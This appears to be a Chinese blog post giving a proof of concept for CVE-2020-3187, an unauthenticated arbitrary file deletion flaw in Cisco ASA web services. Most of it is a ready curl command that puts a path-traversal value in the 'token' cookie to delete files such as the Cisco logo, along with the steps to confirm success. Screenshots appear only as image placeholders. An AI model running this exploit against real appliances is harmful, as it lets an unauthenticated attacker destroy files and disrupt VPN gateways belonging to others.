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<p><strong>POC</strong><br>
curl -H "Cookie: token=../+CSCOU+/csco_logo.gif" https://target/+CSCOE+/session_password
html</p>
<p>https://target/+CSCOE+/session_password.html<br>
返回 200，即证明存在该漏洞。<br>
<img src="https://ld246.com/images/img-loading.svg" alt="1596624149321.jpg" data-src="h
tps://b3logfile.com/file/2020/08/1596624149321-4d21991e.jpg?imageView2/2/interlace/1/fo
mat/jpg"></p>
<p>在 cookie 传写入删除的文件，以页面中 ciso 图片为例子：<br>
<img src="https://ld246.com/images/img-loading.svg" alt="image.png" data-src="https://b3
ogfile.com/file/2020/08/image-29692c77.png?imageView2/2/interlace/1/format/jpg"><br>
也就是，https://target/+CSCOU+/csco_logo.gif<br>
在 cookie 中写入 token=../+CSCOU+/csco_logo.gif<br>
<img src="https://ld246.com/images/img-loading.svg" alt="1596624916029.jpg" data-src="h
tps://b3logfile.com/file/2020/08/1596624916029-acf31a39.jpg?imageView2/2/interlace/1/fo
mat/jpg"><br>
如上图所示，删除掉 ciso logo 图片。<br>
<img src="https://ld246.com/images/img-loading.svg" alt="1596624986728.jpg" data-src="h
tps://b3logfile.com/file/2020/08/1596624986728-24ef977d.jpg?imageView2/2/interlace/1/fo
mat/jpg"></p>
<p>漏洞代码如下：<br>
<img src="https://ld246.com/images/img-loading.svg" alt="image.png" data-src="https://b3
ogfile.com/file/2020/08/image-c03b5467.png?imageView2/2/interlace/1/format/jpg"></p>

原文链接：CVE-2020-3187(未经身份验证任意文件删除)

https://ld246.com/article/1596629715461

